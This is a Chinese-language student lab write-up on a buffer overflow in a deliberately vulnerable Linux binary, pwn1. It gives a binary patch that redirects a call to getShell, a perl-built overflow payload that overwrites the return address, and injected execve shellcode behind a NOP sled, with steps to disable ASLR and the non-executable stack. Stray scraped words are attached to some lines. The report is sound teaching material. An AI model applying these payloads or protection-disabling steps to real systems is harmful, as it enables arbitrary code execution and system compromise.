2018-2019-2 20165231王楊鴻永《網絡對抗》Exp1 PC平臺逆向破解

實踐目標

本次實踐的對象是一個名爲pwn1的linux可執行文件。
該程序正常執行流程是:main調用foo函數,foo函數會簡單回顯任何用戶輸入的字符串。
該程序同時包含另外一個代碼片斷,getShell,會返回一個可用Shell。正常狀況下這個代碼是不會被運行的。咱們實踐的目標就是想辦法運行這個代碼片斷。咱們將學習兩種方法運行這個代碼片斷,而後學習如何注入運行任何Shellcode。html

基礎知識

linux基本操做

  • 管道(|):管道是Linux由Unix那裏繼承過來的進程間的通訊機制,它是Unix早期的一個重要通訊機制。其思想是,在內存中建立一個共享文件,從而使通訊雙方利用這個共享文件來傳遞信息。因爲這種方式具備單向傳遞數據的特色,因此這個做爲傳遞消息的共享文件就叫作「管道」。
    管道的侷限性:
    ① 數據本身讀不能本身寫。
    ② 數據一旦被讀走,便不在管道中存在,不可反覆讀取。
    ③ 因爲管道採用半雙工通訊方式。所以,數據只能在一個方向上流動。
    ④ 只能在有公共祖先的進程間使用管道。linux

  • 輸入:linux標準輸入設備指的是鍵盤,標準輸出設備指的是顯示器,標準錯誤輸出指的是顯示器。
    shell

  • 輸出重定向(>):輸出重定向就是指不使用linux默認的標準輸出設備顯示信息,而是指定某個文件作爲標準輸出設備來存儲文件信息。vim

Bof原理

Linux下進程地址空間的佈局

典型的堆棧結構

棧中有return address還有局部變量,也就是函數的參數,bof攻擊是利用上參數的溢出將返回地址return address用本身構造的數據覆蓋掉,從而控制程序的進程。接下來就試着經過bof攻擊來實現調用getshell函數。windows

NOP、JNE、JE、JMP、CMP彙編指令的機器碼

  • NOP:NOP指令即「空指令」。執行到NOP指令時,CPU什麼也不作,僅僅當作一個指令執行過去並繼續執行NOP後面的一條指令。(機器碼:90)
  • JNE:條件轉移指令,若是不相等則跳轉。(機器碼:75)
  • JE:條件轉移指令,若是相等則跳轉。(機器碼:74)
  • JMP:無條件轉移指令。段內直接短轉Jmp
  • short(機器碼:EB) 段內直接近轉移Jmp
  • near(機器碼:E9) 段內間接轉移 Jmp
  • word(機器碼:FF) 段間直接(遠)轉移Jmp
  • far(機器碼:EA)
  • CMP:比較指令,功能至關於減法指令,只是對操做數之間運算比較,不保存結果。cmp指令執行後,將對標誌寄存器產生影響。其餘相關指令經過識別這些被影響的標誌寄存器位來得知比較結果。

gdb的經常使用命令


實驗內容

直接修改程序機器指令,改變程序執行流程

下載目標文件pwn1到實驗虛擬機,反彙編objdump -d pwn1 |more。下面只保留了最核心的幾行代碼。

指令將調用位於地址8048491處的foo函數
其對應機器指令爲「e8 d7ffffff」,e8即跳轉。
此時此刻EIP的值應該是下條指令的地址,即80484ba,但出現e8這條指令,CPU就會轉而執行 「EIP + d7ffffff」這個位置的指令。「d7ffffff」是補碼,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491這個值,調用getShell,只要修改「d7ffffff」爲,"getShell-80484ba"對應的補碼就行。直接 804847d-80484ba就能獲得補碼,是c3ffffff。sass

因此編輯pwn1文件 vim pwn1將其中的call指令的目標地址由d7ffffff變爲c3ffffff安全

如下操做是在vi內dom

  1. 按ESC鍵
  2. 輸入以下,將顯示模式切換爲16進制模式
    :%!xxd
  3. 查找要修改的內容
    /e8d7
  4. 找到後先後的內容和反彙編的對比下,確認是地方是正確的
  5. 修改d7爲c3
  6. 轉換16進製爲原格式
    :%!xxd -r
  7. 存盤退出vi
    :wq

enter description here
enter description here

而後 ./pwn1運行
enter description here

經過構造輸入參數,形成BOF攻擊,改變程序執行流

咱們從新命名一個原pwn文件pwn1_2svg

反彙編,瞭解漏洞以及程序的基本功能

該可執行文件正常運行是調用函數foo,這個函數有Buffer overflow漏洞,即foo函數中的gets函數,因爲該函數不會檢查用戶輸入的長度,經過「棧溢出」覆蓋棧中保存的RET地址,能夠改變程序的執行流。
函數foo中的mov(804849a)讀入字符串,但系統只預留了32字節的緩衝區,超出部分會形成溢出,咱們的目標是覆蓋返回地址
函數main中的call調用函數foo,同時在堆棧上壓上返回地址值:80484ae函數

確認覆蓋到返回地址的字符

若是輸入字符串1111111122222222333333334444444412345678,那 1234 那四個數最終會覆蓋到堆棧上的返回地址,進而CPU會嘗試運行這個位置的代碼。那隻要把這四個字符替換爲getShell的內存地址,輸入給pwn1,pwn1就會運行getShell
enter description here

確認用什麼值來覆蓋返回地址

getShell的內存地址,經過反彙編時能夠看到,即0804847d
接下來要確認下字節序,由於PC屬於小端因此輸入11111111222222223333333344444444\x7d\x84\x04\x08

構造輸入字符串

因爲無法經過鍵盤輸入\x7d\x84\x04\x08這樣的16進制值,因此須要使用prel方法先生成包括這樣字符串的一個文件,將getshell的內存地址寫入輸入字符串中,\x0a表示回車,若是沒有的話,在程序運行時就須要手工按一下回車鍵。
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input


將input的輸入,經過管道符「|」,做爲pwn1的輸入
(cat input; cat) | ./pwn1_2


注入Shellcode並執行

  • 準備一段Shellcode
  • shellcode就是一段機器指令(code)
    一般這段機器指令的目的是爲獲取一個交互式的shell(像linux的shell或相似windows下的cmd.exe),
    因此這段機器指令被稱爲shellcode。
    在實際的應用中,凡是用來注入的機器指令段都通稱爲shellcode,像添加一個用戶、運行一條指令。
    如:\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
    準備工做:
  • 關閉堆棧保護(gcc -fno-stack-protector)
  • 關閉堆棧執行保護(execstack -s)
  • 關閉地址隨機化 (/proc/sys/kernel/randomize_va_space=0)
  • 在x32環境下
  • 在Linux實踐環境

apt-get install execstack //安裝execstack命令
execstack -s pwn1_3 //設置堆棧可執行
execstack -q pwn1_3 //查詢文件的堆棧是否可執行
more /proc/sys/kernel/randomize_va_space //查詢是否關閉地址隨機化
echo "0" > /proc/sys/kernel/randomize_va_space //關閉地址隨機化
more /proc/sys/kernel/randomize_va_space //查詢是否關閉地址隨機化

構造要注入的payload

Linux下有兩種基本構造攻擊buf的方法:

  • retaddr+nop+shellcode
  • nop+shellcode+retaddr。
    由於retaddr在緩衝區的位置是固定的,shellcode要不在它前面,要不在它後面。
    簡單說緩衝區小就把shellcode放後邊,緩衝區大就把shellcode放前邊

咱們這個buf夠放這個shellcode了
結構爲:nops+shellcode+retaddr
nop一爲是了填充,二是做爲「着陸區/滑行區」。
咱們猜的返回地址只要落在任何一個nop上,天然會滑到咱們的shellcode。

使用命令注入,其中前面32個A用來填滿緩衝區buf,\x04\x03\x02\x01爲預留的返回地址retaddr:
perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
打開一個終端注入這段攻擊buf:
(cat input_shellcode;cat) | ./pwn1_3

開啓另外一終端調試進程
ps -ef | grep pwn1_3命令找到pwn1_3的進程號是:3937

用gdb pwn1_三、attach命令啓動gdb調試這個進程:

disassemble foo命令反彙編,經過設置斷點,來查看注入buf的內存地址:

經過break *0x080484ae命令設置斷點,輸入countine 繼續運行
在另一個終端中按下回車使上一調試過程繼續執行。再返回調試終端,使用info r esp命令查找地址:

x/16x 0xffffd64c命令查看其存放內容,看到了0x01020304,就是返回地址的位置。根據咱們構造的input_shellcode可知,shellcode就在其後,因此地址應爲0xffffd650


接下來只須要將以前的\x4\x3\x2\x1改成這個地址便可,用命令
perl -e 'print "A" x 32;print "\x50\xd6\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode


實驗中遇到的問題及解決過程

一、提示段錯誤

  • 替換\x4\x3\x2\x1時必定記住小端從後往前,每兩位爲一組

二、echo "0" > /proc/sys/kernel/randomize_va_space//關閉地址隨機化提示權限不夠。

  • 這時就不要使用本身帳號了直接sudo suroot管理員還怕權限不夠。

實驗感想

複習了linux虛擬機的操做和gdb調試,Kali和Ubuntu感受最大的不一樣就是Ubuntu系統預設了Ctrl+Alt+T的快捷打開終端而Kali沒有,致使實驗須要打開另外一個終端時按了好久覺得電腦卡了(同配置下Kali也的確比Ubuntu要卡),後來搜了一下教程在快捷鍵裏添加了命令。
實驗上以爲彙編代碼真的很神奇,但是我彙編學得很差,可是在操做教程的指點下仍是完成了,但願之後的實驗能夠鑽研出一點有趣的玩法。

什麼是漏洞?漏洞有什麼危害?

漏洞就是現代電子設備在硬件、軟件、協議上的一些可以引起一系列安全問題,威脅用戶操做的缺陷。好比此次實驗的漏洞是緩衝區溢出,由於沒有考慮到超出棧的空間分配的問題致使被利用,使軟件的功能被改變。攻擊者能夠對文件進行任意的操做,也可能會執行相關的惡意代碼,爲木馬植入、後門設置提供條件。

相關文章
相關標籤/搜索